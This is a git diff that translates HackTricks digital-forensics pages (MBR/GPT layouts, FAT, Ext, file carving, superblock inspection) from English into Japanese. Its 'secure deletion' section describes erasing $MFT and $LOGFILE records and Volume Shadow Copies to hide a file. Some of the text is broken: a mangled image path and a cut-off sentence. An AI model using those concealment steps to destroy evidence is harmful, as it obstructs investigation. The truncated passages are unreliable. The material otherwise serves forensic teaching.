------------------------------------------------------ | +| 0(0x00) | 1(0x01) | アクティブフラグ(0x80 = ブート可能) | +| 1(0x01) | 1(0x01) | 開始ヘッド | +| 2(0x02) | 1(0x01) | 開始セクタ(ビット0-5);シリンダの上位ビット(6-7) | +| 3(0x03) | 1(0x01) | 開始シリンダの下位8ビット | +| 4(0x04) | 1(0x01) | パーティションタイプコード(0x83 = Linux) | +| 5(0x05) | 1(0x01) | 終了ヘッド | +| 6(0x06) | 1(0x01) | 終了セクタ(ビット0-5);シリンダの上位ビット(6-7) | +| 7(0x07) | 1(0x01) | 終了シリンダの下位8ビット | +| 8(0x08) | 4(0x04) | パーティションの前にあるセクタ(リトルエンディアン) | +| 12(0x0C) | 4(0x04) | パーティション内のセクタ数 | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) - -![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -And then use the following code +LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります(`fdisk`と`p`コマンドを使用できます) +![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1 ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA(論理ブロックアドレッシング)** -**LBA (Logical block addressing)** +**論理ブロックアドレッシング**(LBA)は、コンピュータのストレージデバイス(一般的にはハードディスクドライブなどの二次記憶装置)に格納されたデータのブロックの場所を指定するために使用される一般的なスキームです。LBAは特にシンプルな線形アドレッシングスキームであり、ブロックは整数のインデックスによって特定されます。最初のブロックはLBA 0、2番目のブロックはLBA 1、以降のブロックは順に増加します。 -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT(GUIDパーティションテーブル) -### GPT (GUID Partition Table) +GPT(GUIDパーティションテーブル)とは、ドライブ上の各パーティションに**グローバルに一意の識別子**があるため、この名前が付けられています。 -It’s called GUID Partition Table because every partition on your drive has a **globally unique identifier**. +MBRと同様に、GPTも**セクター0**から始まります。MBRは32ビットを占有しているのに対し、**GPT**は**64ビット**を使用します。\ +GPTでは、Windowsでは最大128のパーティションを作成でき、最大**9.4ZB**までサポートされています。\ +また、パーティションには36文字のUnicode名を付けることができます。 -Just like MBR it starts in the **sector 0**. The MBR occupies 32bits while **GPT** uses **64bits**.\ -GPT **allows up to 128 partitions** in Windows and up to **9.4ZB**.\ -Also, partitions can have a 36 character Unicode name. +MBRディスクでは、パーティショニングとブートデータは1か所に格納されます。このデータが上書きされたり破損したりすると、問題が発生します。一方、**GPTはディスク全体に複数のコピーを保存**するため、より堅牢で、データが破損した場合でも回復することができます。 -On an MBR disk, the partitioning and boot data are stored in one place. If this data is overwritten or corrupted, you’re in trouble. In contrast, **GPT stores multiple copies of this data across the disk**, so it’s much more robust and can recover if the data is corrupted. +GPTはまた、データが破損しているかどうかを確認するために**巡回冗長検査(CRC)**値を保存します。データが破損している場合、GPTは問題に気付き、ディスク上の別の場所から**破損したデータを回復しようとします**。 -GPT also stores **cyclic redundancy check (CRC)** values to check that its data is intact. If the data is corrupted, GPT can notice the problem and **attempt to recover the damaged data** from another location on the disk. +**保護MBR(LBA0)** -**Protective MBR (LBA0)** - -For limited backward compatibility, the space of the legacy MBR is still reserved in the GPT specification, but it is now used in a **way that prevents MBR-based disk utilities from misrecognizing and possibly overwriting GPT disks**. This is referred to as a protective MBR. +互換性のために、GPT仕様では従来のMBRの領域が予約されていますが、これはMBRベースのディスクユーティリティがGPTディスクを誤認識して上書きすることを防ぐ**方法で使用**されています。これは保護MBRと呼ばれます。 ![](<../../../.gitbook/assets/image (491).png>) -**Hybrid MBR (LBA 0 + GPT)** +**ハイブリッドMBR(LBA 0 + GPT)** -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +BIOSを介して**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクターは**ブートローダー**コードの最初のステージを格納するために使用される場合がありますが、**変更**されて**GPTパーティション**を認識するようになります。MBRのブートローダーは、セクターサイズが512バイトであるとは想定しないでください。 -**Partition table header (LBA 1)** +**パーティションテーブルヘッダー(LBA 1)** -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +パーティションテーブルヘッダーは、ディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズも定義します(テーブル内のオフセット80と84)。 -| Offset | Length | Contents | -| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| オフセット | 長さ | 内容 | +| ------------ | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 0 (0x00) | 8バイト | シグネチャ("EFI PART"、45h 46h 49h 20h 50h 41h 52h 54hまたは0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)、リトルエンディアンマシンでは) | +| 8 (0x08) | 4バイト | UEFI 2.8用のリビジョン1.0(00h 00h 01h 00h) | +| 12 (0x0C) | 4バイト | ヘッダーサイズ(リトルエンディアンでのバイト単位、通常は5Ch 00h 00h 00hまたは92バイト) | +| 16 (0x10) | 4バイト | ヘッダーのCRC32(オフセット+0からヘッダーサイズまで)のリトルエンディアンでの値。計算中にこのフィールドはゼロになります。 | +| 20 (0x14) | 4バイト | 予約済み;ゼロである必要があります | +| 24 (0x18) | 8バイト | 現在のLBA(このヘッダーコピーの場所) | +| 32 (0x20) | 8バイト | バックアップLBA(他のヘッダーコピーの場所) | +| 40 (0x28) | 8バイト | パーティションの最初の使用可能なLBA(プライマリパーティションテーブルの最後のLBA + 1) | +| 48 (0x30) | 8バイト | 最後の使用可能なLBA(セカンダリパーティションテーブルの最初のLBA−1) | +| 56 (0x38) | 16バイト | ディスクのGUID(ミックスエンディアン) | +| 72 (0x48) | 8バイト | パーティションエントリの配列の開始LBA(プライマリコピーでは常に2) | +| 80 (0x50) | 4バイト | 配列内のパーティションエントリの数 | +| 84 (0x54) | 4バイト | 単一のパーティションエントリのサイズ(通常は80hまたは128) | +| 88 (0x58) | 4バイト | パーティションエントリ配列のCRC32(リトルエンディアン) | +| 92 (0x5C) | \* | ブロックの残りの部分にはゼロでなければなりません(セクターサイズが512バイトの場合は420バイトですが、より大きなセクターサイズの場合はそれ以上になる場合があります) | -**Partition entries (LBA 2–33)** +**パーティションエントリ(LBA 2–33)** -| GUID partition entry format | | | +| GUIDパーティションエントリ形式 | | | | --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| オフセット | 長さ | 内容 | +| 0 (0x00) | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(ミックスエンディアン) | +| 16 (0x10) | 16バイト | ユニークなパーティションGUID(ミックスエンディアン) | +| 32 (0x20) | 8バイト | 最初のLBA([リトルエンディアン](https://en.wikipedia.org/wiki/Little\_endian)) | +| 40 (0x28) | 8バイト | 最後のLBA(包括的、通常は奇数) | +| 48 (0x30) | 8バイト | 属性フラグ(例:ビット60は読み取り専用を示す) | +| 56 (0x38) | 72バイト | パーティション名(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット) | -**Partitions Types** +**パーティションタイプ** ![](<../../../.gitbook/assets/image (492).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) +詳細なパーティションタイプは[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)を参照してください。 -### Inspecting +### 検査 -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージ +## ファイルシステム -![](<../../../.gitbook/assets/image (494).png>) - -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). - -## File-Systems - -### Windows file-systems list +### Windowsのファイルシステム一覧 * **FAT12/16**: MSDOS, WIN95/98/NT/200 * **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -158,27 +149,27 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is named for its method of organization, the file allocation table, which resides at the beginning of the volume. To protect the volume, **two copies** of the table are kept, in case one becomes damaged. In addition, the file allocation tables and the root folder must be stored in a **fixed location** so that the files needed to start the system can be correctly located. +**FAT(File Allocation Table)**ファイルシステムは、その組織方法であるファイル割り当てテーブルにちなんで名付けられています。このテーブルはボリュームの先頭に存在し、ボリュームを保護するために**2つのコピー**が保持されます。さらに、ファイル割り当てテーブルとルートフォルダは、システムの起動に必要なファイルを正しく見つけるために**固定位置**に保存される必要があります。 ![](<../../../.gitbook/assets/image (495).png>) -The minimum space unit used by this file system is a **cluster, typically 512B** (which is composed of a number of sectors). +このファイルシステムで使用される最小のスペース単位は、通常512Bの**クラスタ**です(セクタの数で構成されています)。 -The earlier **FAT12** had a **cluster addresses to 12-bit** values with up to **4078** **clusters**; it allowed up to 4084 clusters with UNIX. The more efficient **FAT16** increased to **16-bit** cluster address allowing up to **65,517 clusters** per volume. FAT32 uses 32-bit cluster address allowing up to **268,435,456 clusters** per volume +初期の**FAT12**は、最大で**4078**の**クラスタ**を持つ12ビットのクラスタアドレスを使用し、UNIXでは最大で4084のクラスタを許可していました。より効率的な**FAT16**は、最大で**65,517のクラスタ**を許可する16ビットのクラスタアドレスを使用しています。FAT32は32ビットのクラスタアドレスを使用し、ボリュームあたり最大**268,435,456のクラスタ**を許可します。 -The **maximum file size allowed by FAT is 4GB** (minus one byte) because the file system uses a 32-bit field to store the file size in bytes, and 2^32 bytes = 4 GiB. This happens for FAT12, FAT16 and FAT32. +FATが許容する**最大ファイルサイズは4GB**(1バイトを引いたもの)です。これは、ファイルシステムがバイト単位でファイルサイズを格納するために32ビットのフィールドを使用しており、2^32バイト=4 GiBになるためです。これはFAT12、FAT16、FAT32の場合に起こります。 -The **root directory** occupies a **specific position** for both FAT12 and FAT16 (in FAT32 it occupies a position like any other folder). Each file/folder entry contains this information: +**ルートディレクトリ**は、FAT12とFAT16の場合には**特定の位置**を占めます(FAT32の場合は他のフォルダと同じ位置を占めます)。各ファイル/フォルダエントリには、次の情報が含まれています。 -* Name of the file/folder (8 chars max) -* Attributes -* Date of creation -* Date of modification -* Date of last access -* Address of the FAT table where the first cluster of the file starts -* Size +* ファイル/フォルダの名前(最大8文字) +* 属性 +* 作成日時 +* 変更日時 +* 最終アクセス日時 +* ファイルの最初のクラスタが格納されているFATテーブルのアドレス +* サイズ -When a file is "deleted" using a FAT file system, the directory entry remains almost **unchanged** except for the **first character of the file name** (modified to 0xE5), preserving most of the "deleted" file's name, along with its time stamp, file length and — most importantly — its physical location on the disk. The list of disk clusters occupied by the file will, however, be erased from the File Allocation Table, marking those sectors available for use by other files created or modified thereafter. In the case of FAT32, it is additionally an erased field responsible for the upper 16 bits of the file start cluster value. +FATファイルシステムを使用してファイルが「削除」されると、ディレクトリエントリはほとんど**変更されません**(ファイル名の最初の文字が0xE5に変更されます)。これにより、「削除」されたファイルの名前のほとんど、タイムスタンプ、ファイルの長さ、そして最も重要なことにディスク上の物理的な場所が保持されます。ただし、その後に作成または変更された他のファイルによって使用されるため、ファイルが占有するディスククラスタのリストはファイル割り当てテーブルから消去されます。FAT32の場合、ファイルの開始クラスタ値の上位16ビットを担当する消去されたフィールドが追加されます。 ### **NTFS** @@ -188,65 +179,63 @@ When a file is "deleted" using a FAT file system, the directory entry remains al ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2**は、ブートパーティションなどの**変更がほとんどない**パーティションに対して最も一般的なジャーナリングされていないファイルシステムです。**Ext3/4**は**ジャーナリング**されており、通常は**その他のパーティション**に使用されます。 {% content-ref url="ext.md" %} [ext.md](ext.md) {% endcontent-ref %} -## **Metadata** +## **メタデータ** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +一部のファイルにはメタデータが含まれています。この情報はファイルの内容に関するものであり、ファイルの種類によっては、次のような情報が含まれる場合があります。 -* Title -* MS Office Version used -* Author -* Dates of creation and last modification -* Model of the camera -* GPS coordinates -* Image information +* タイトル +* 使用されたMS Officeのバージョン +* 作成日時と最終変更日時 +* カメラのモデル +* GPS座標 +* 画像情報 -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +[**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)などのツールを使用して、ファイルのメタデータを取得することができます。 -## **Deleted Files Recovery** +## **削除されたファイルの回復** -### Logged Deleted Files +### 削除されたファイルのログ -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +以前に見たように、ファイルが「削除」された後もまだいくつかの場所に保存されています。これは通常、ファイルシステムからのファイルの削除は単に削除されたとマークされるだけで、データは触れられないためです。そのため、ファイルのレジストリ(MFTなど)を調査し、削除されたファイルを見つけることが可能です。 -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存するため、ファイルまたは可能な限り多くの情報を回復するためにそれらを使用することができます。 {% content-ref url="file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -### **File Carving** +### **ファイルカービング** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**ファイルカービング**は、データの一括からファイルを見つけようとする技術です。このようなツールが動作する方法は、**ファイルタイプのヘッダとフッタ**に基づく方法、ファイルタイプの**構造**に基づく方法、および**コンテンツ**自体に基づく方法の3つがあります。 -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +この技術は、**断片化されたファイルを回復するためには機能しません**。ファイルが**連続したセクタに保存されていない**場合、この技術ではそれを見つけることができないか、少なくとも一部を見つけることができません。 -There are several tools that you can use for file Carving indicating the file types you want to search for +ファイルカービングには、検索したいファイルタイプを指定して使用できるいくつかのツールがあります。 {% content-ref url="file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -### Data Stream **C**arving +### データストリーム**カービング** -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +データストリームカービングは、ファイルカービングと似ていますが、**完全なファイルではなく興味深い断片**の情報を探します。\ +たとえば、ログに記録されたURLを含む完全なファイルを探すのではなく、この技術ではURLを検索します。 {% content-ref url="file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -### Secure Deletion +### 安全な削除 -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. - -## References +明らかに、ファイルを「安全に」削除し、それに関する一部のログを削除する方法があります。たとえば、ファイルの内容を複数回ジャンクデータで上書きし、その後、ファイルに関する**$MFT**と**$LOGFILE**のログを**削除**し、**ボリュームシャドウコピー**を削除することができます。\ +この操作を実行しても、ファイルの存在がまだログに記録されている他の部分があるかもしれないことに注意してください。これは、フォレンジックの専門家の仕事の一部です。 +## 参考文献 * [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) @@ -258,10 +247,10 @@ You may notice that even performing that action there might be **other parts whe ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md index cc1513cff..fc70216b4 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md @@ -1,256 +1,247 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-# Ext - Extended Filesystem +# Ext - 拡張ファイルシステム -**Ext2** is the most common filesystem for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2**は、**ジャーナリングされていない**パーティション(**あまり変更されないパーティション**)の最も一般的なファイルシステムです。ブートパーティションなどに使用されます。**Ext3/4**は**ジャーナリング**され、通常は**その他のパーティション**に使用されます。 -All block groups in the filesystem have the same size and are stored sequentially. This allows the kernel to easily derive the location of a block group in a disk from its integer index. +ファイルシステムのすべてのブロックグループは同じサイズで順次格納されます。これにより、カーネルはブロックグループのディスク上の位置を整数インデックスから簡単に導出できます。 -Every block group contains the following pieces of information: +各ブロックグループには、次の情報が含まれています。 -* A copy of the filesystem’s superblock -* A copy of the block group descriptors -* A data block bitmap which is used to identify the free blocks inside the group -* An inode bitmap, which is used to identify the free inodes inside the group -* inode table: it consists of a series of consecutive blocks, each of which contains a predefined Figure 1 Ext2 inode number of inodes. All inodes have the same size: 128 bytes. A 1,024 byte block contains 8 inodes, while a 4,096-byte block contains 32 inodes. Note that in Ext2, there is no need to store on disk a mapping between an inode number and the corresponding block number because the latter value can be derived from the block group number and the relative position inside the inode table. For example, suppose that each block group contains 4,096 inodes and that we want to know the address on the disk of inode 13,021. In this case, the inode belongs to the third block group and its disk address is stored in the 733rd entry of the corresponding inode table. As you can see, the inode number is just a key used by the Ext2 routines to retrieve the proper inode descriptor on the disk quickly -* data blocks, containing files. Any block which does not contain any meaningful information is said to be free. +* ファイルシステムのスーパーブロックのコピー +* ブロックグループディスクリプタのコピー +* データブロックビットマップ:グループ内の空きブロックを識別するために使用されます +* inodeビットマップ:グループ内の空きinodeを識別するために使用されます +* inodeテーブル:連続したブロックのシリーズで構成され、各ブロックには事前定義された図1のExt2 inode番号のinodeが含まれます。すべてのinodeのサイズは同じです:128バイトです。1,024バイトのブロックには8つのinodeが含まれ、4,096バイトのブロックには32のinodeが含まれます。Ext2では、inode番号と対応するブロック番号のマッピングをディスク上に保存する必要はありません。なぜなら、後者の値はブロックグループ番号とinodeテーブル内の相対位置から導出できるからです。たとえば、各ブロックグループに4,096のinodeが含まれ、inode 13,021のディスク上のアドレスを知りたい場合、このinodeは3番目のブロックグループに属しており、そのディスクアドレスは対応するinodeテーブルの733番目のエントリに格納されています。inode番号は、Ext2のルーチンがディスク上の適切なinodeディスクリプタを迅速に取得するために使用するキーであることがわかります。 +* ファイルを含むデータブロック。意味のない情報を含まないブロックは、空きと言われます。 ![](<../../../.gitbook/assets/image (406).png>) -## Ext Optional Features +## Extのオプション機能 -**Features affect where** the data is located, **how** the data is stored in inodes and some of them might supply **additional metadata** for analysis, therefore features are important in Ext. +**機能は**データの配置場所に影響を与え、**inode内のデータの格納方法**や、いくつかの機能は**追加のメタデータ**を提供する場合があります。したがって、Extでは機能が重要です。 -Ext has optional features that your OS may or may not support, there are 3 possibilities: +Extには、OSがサポートするかどうかによって、オプションの機能があります。3つの可能性があります。 -* Compatible -* Incompatible -* Compatible Read Only: It can be mounted but not for writing +* 互換性あり +* 互換性なし +* 読み取り専用の互換性あり:マウントはできますが、書き込みはできません -If there are **incompatible** features you won't be able to mount the filesystem as the OS won't know how the access the data. +**互換性のない**機能がある場合、OSはデータにアクセスする方法を知らないため、ファイルシステムをマウントできません。 {% hint style="info" %} -A suspected attacker might have non-standard extensions +疑わしい攻撃者は、非標準の拡張機能を持っている可能性があります {% endhint %} -**Any utility** that reads the **superblock** will be able to indicate the **features** of an **Ext filesystem**, but you could also use `file -sL /dev/sd*` +**スーパーブロック**を読み取る**任意のユーティリティ**は、**Extファイルシステム**の**機能**を示すことができますが、`file -sL /dev/sd*`を使用することもできます。 -## Superblock +## スーパーブロック -The superblock is the first 1024 bytes from the start and it's repeated in the first block of each group and contains: +スーパーブロックは、最初の1024バイトから始まり、各グループの最初のブロックに繰り返され、次の情報を含んでいます。 -* Block size -* Total blocks -* Blocks per block group -* Reserved blocks before the first block group -* Total inodes -* Inodes per block group -* Volume name -* Last write time -* Last mount time -* Path where the file system was last mounted -* Filesystem status (clean?) - -It's possible to obtain this information from an Ext filesystem file using: +* ブロックサイズ +* 総ブロック数 +* ブロックグループごとのブロック数 +* 最初のブロックグループの前に予約されたブロック数 +* 総inode数 +* ブロックグループごとのinode数 +* ボリューム名 +* 最終書き込み時刻 +* 最終マウント時刻 +* ファイルシステムが最後にマウントされた場所 +* ファイルシステムのステータス(クリーン?) +Extファイルシステムファイルからこの情報を取得することができます。 ```bash fsstat -o /pat/to/filesystem-file.ext #You can get the with the "p" command inside fdisk ``` - -You can also use the free GUI application: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ -Or you can also use **python** to obtain the superblock information: [https://pypi.org/project/superblock/](https://pypi.org/project/superblock/) +無料のGUIアプリケーションも使用できます:[https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ +または、**python**を使用してスーパーブロック情報を取得することもできます:[https://pypi.org/project/superblock/](https://pypi.org/project/superblock/) ## inodes -The **inodes** 